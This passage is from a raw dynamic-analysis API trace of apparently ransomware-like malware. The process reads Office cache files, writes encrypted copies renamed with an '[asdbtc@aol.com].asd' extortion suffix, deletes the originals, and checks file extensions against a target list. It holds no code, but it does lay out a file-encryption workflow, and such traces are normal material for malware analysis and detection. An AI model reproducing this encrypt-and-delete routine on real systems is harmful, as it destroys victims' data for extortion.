lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.131] lstrlenW (lpString=".1cd") returned 4 [0044.131] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.131] lstrlenW (lpString=".jpg") returned 4 [0044.131] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.132] lstrcmpiW (lpString1=".chm", lpString2=".asd") returned 1 [0044.132] lstrlenW (lpString="setup.chm") returned 9 [0044.132] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.132] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=67190) returned 1 [0044.132] CloseHandle (hObject=0x178) returned 1 [0044.132] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0044.132] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.132] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.132] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.132] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.133] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.133] GetLastError () returned 0x0 [0044.133] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x10676, lpOverlapped=0x0) returned 1 [0044.152] WriteFile (in: hFile=0x1ac, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x10680, lpOverlapped=0x0) returned 1 [0044.154] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.154] WriteFile (in: hFile=0x1ac, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.155] SetEndOfFile (hFile=0x1ac) returned 1 [0044.155] CloseHandle (hObject=0x1ac) returned 1 [0044.157] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.157] SetEndOfFile (hFile=0x178) returned 1 [0044.158] CloseHandle (hObject=0x178) returned 1 [0044.158] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.158] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0044.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.158] lstrlenW (lpString=".doc") returned 4 [0044.158] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0044.158] lstrlenW (lpString=".docx") returned 5 [0044.158] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0044.158] lstrlenW (lpString=".pdf") returned 4 [0044.159] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0044.159] lstrlenW (lpString=".xls") returned 4 [0044.159] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0044.159] lstrlenW (lpString=".xlsx") returned 5 [0044.159] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0044.159] lstrlenW (lpString=".ppt") returned 4 [0044.159] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0044.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.159] lstrlenW (lpString=".zip") returned 4 [0044.159] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0044.159] lstrlenW (lpString=".rar") returned 4 [0044.159] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0044.159] lstrlenW (lpString=".bz2") returned 4 [0044.159] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0044.159] lstrlenW (lpString=".7z") returned 3 [0044.159] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0044.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.159] lstrlenW (lpString=".dbf") returned 4 [0044.159] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0044.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.159] lstrlenW (lpString=".1cd") returned 4 [0044.159] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0044.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.159] lstrlenW (lpString=".jpg") returned 4 [0044.159] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0044.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.159] lstrlenW (lpString=".doc") returned 4 [0044.159] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0044.159] lstrlenW (lpString=".docx") returned 5 [0044.159] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0044.159] lstrlenW (lpString=".pdf") returned 4 [0044.160] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0044.160] lstrlenW (lpString=".xls") returned 4 [0044.160] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0044.160] lstrlenW (lpString=".xlsx") returned 5 [0044.160] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0044.160] lstrlenW (lpString=".ppt") returned 4 [0044.160] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0044.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.160] lstrlenW (lpString=".zip") returned 4 [0044.160] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0044.160] lstrlenW (lpString=".rar") returned 4 [0044.160] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0044.160] lstrlenW (lpString=".bz2") returned 4 [0044.160] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0044.160] lstrlenW (lpString=".7z") returned 3 [0044.160] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0044.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.160] lstrlenW (lpString=".dbf") returned 4 [0044.160] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0044.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.160] lstrlenW (lpString=".1cd") returned 4 [0044.160] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0044.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0044.160] lstrlenW (lpString=".jpg") returned 4 [0044.160] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0044.160] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.160] lstrlenW (lpString="AccessMUI.xml") returned 13 [0044.160] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.162] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1349) returned 1 [0044.162] CloseHandle (hObject=0x178) returned 1 [0044.162] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0044.162] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.162] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.162] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.162] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.162] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.163] GetLastError () returned 0x0 [0044.163] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x545, lpOverlapped=0x0) returned 1 [0044.164] WriteFile (in: hFile=0x1ac, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x550, lpOverlapped=0x0) returned 1 [0044.165] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.165] WriteFile (in: hFile=0x1ac, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0044.166] SetEndOfFile (hFile=0x1ac) returned 1 [0044.166] CloseHandle (hObject=0x1ac) returned 1 [0044.167] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.167] SetEndOfFile (hFile=0x178) returned 1 [0044.168] CloseHandle (hObject=0x178) returned 1 [0044.168] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.168] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0044.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.168] lstrlenW (lpString=".doc") returned 4 [0044.168] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.168] lstrlenW (lpString=".docx") returned 5 [0044.168] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.168] lstrlenW (lpString=".pdf") returned 4 [0044.168] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.168] lstrlenW (lpString=".xls") returned 4 [0044.168] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.168] lstrlenW (lpString=".xlsx") returned 5 [0044.169] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.169] lstrlenW (lpString=".ppt") returned 4 [0044.169] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.169] lstrlenW (lpString=".zip") returned 4 [0044.169] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.169] lstrlenW (lpString=".rar") returned 4 [0044.169] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.169] lstrlenW (lpString=".bz2") returned 4 [0044.169] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.169] lstrlenW (lpString=".7z") returned 3 [0044.169] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.169] lstrlenW (lpString=".dbf") returned 4 [0044.169] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.169] lstrlenW (lpString=".1cd") returned 4 [0044.169] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.169] lstrlenW (lpString=".jpg") returned 4 [0044.169] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.169] lstrlenW (lpString=".doc") returned 4 [0044.169] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.169] lstrlenW (lpString=".docx") returned 5 [0044.169] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.169] lstrlenW (lpString=".pdf") returned 4 [0044.169] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.169] lstrlenW (lpString=".xls") returned 4 [0044.169] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.170] lstrlenW (lpString=".xlsx") returned 5 [0044.170] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.170] lstrlenW (lpString=".ppt") returned 4 [0044.170] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.170] lstrlenW (lpString=".zip") returned 4 [0044.170] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.170] lstrlenW (lpString=".rar") returned 4 [0044.170] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.170] lstrlenW (lpString=".bz2") returned 4 [0044.170] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.170] lstrlenW (lpString=".7z") returned 3 [0044.170] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.170] lstrlenW (lpString=".dbf") returned 4 [0044.170] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.170] lstrlenW (lpString=".1cd") returned 4 [0044.170] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0044.170] lstrlenW (lpString=".jpg") returned 4 [0044.170] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.170] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.170] lstrlenW (lpString="branding.xml") returned 12 [0044.170] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.171] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=596341) returned 1 [0044.171] CloseHandle (hObject=0x178) returned 1 [0044.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0044.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.171] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.171] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.172] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.172] GetLastError () returned 0x0 [0044.172] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x91975, lpOverlapped=0x0) returned 1 [0044.494] WriteFile (in: hFile=0x1ac, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x91980, lpOverlapped=0x0) returned 1 [0044.525] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.525] WriteFile (in: hFile=0x1ac, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.526] SetEndOfFile (hFile=0x1ac) returned 1 [0044.526] CloseHandle (hObject=0x1ac) returned 1 [0044.531] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.531] SetEndOfFile (hFile=0x178) returned 1 [0044.692] CloseHandle (hObject=0x178) returned 1 [0044.692] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.692] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0044.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.692] lstrlenW (lpString=".doc") returned 4 [0044.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.693] lstrlenW (lpString=".docx") returned 5 [0044.693] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0044.693] lstrlenW (lpString=".pdf") returned 4 [0044.693] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.693] lstrlenW (lpString=".xls") returned 4 [0044.693] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.693] lstrlenW (lpString=".xlsx") returned 5 [0044.693] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0044.693] lstrlenW (lpString=".ppt") returned 4 [0044.693] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.693] lstrlenW (lpString=".zip") returned 4 [0044.693] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.693] lstrlenW (lpString=".rar") returned 4 [0044.693] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.693] lstrlenW (lpString=".bz2") returned 4 [0044.693] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.693] lstrlenW (lpString=".7z") returned 3 [0044.693] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.693] lstrlenW (lpString=".dbf") returned 4 [0044.693] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.693] lstrlenW (lpString=".1cd") returned 4 [0044.693] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.693] lstrlenW (lpString=".jpg") returned 4 [0044.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.694] lstrlenW (lpString=".doc") returned 4 [0044.694] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.694] lstrlenW (lpString=".docx") returned 5 [0044.694] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0044.694] lstrlenW (lpString=".pdf") returned 4 [0044.694] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.694] lstrlenW (lpString=".xls") returned 4 [0044.694] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.694] lstrlenW (lpString=".xlsx") returned 5 [0044.694] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0044.694] lstrlenW (lpString=".ppt") returned 4 [0044.694] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.694] lstrlenW (lpString=".zip") returned 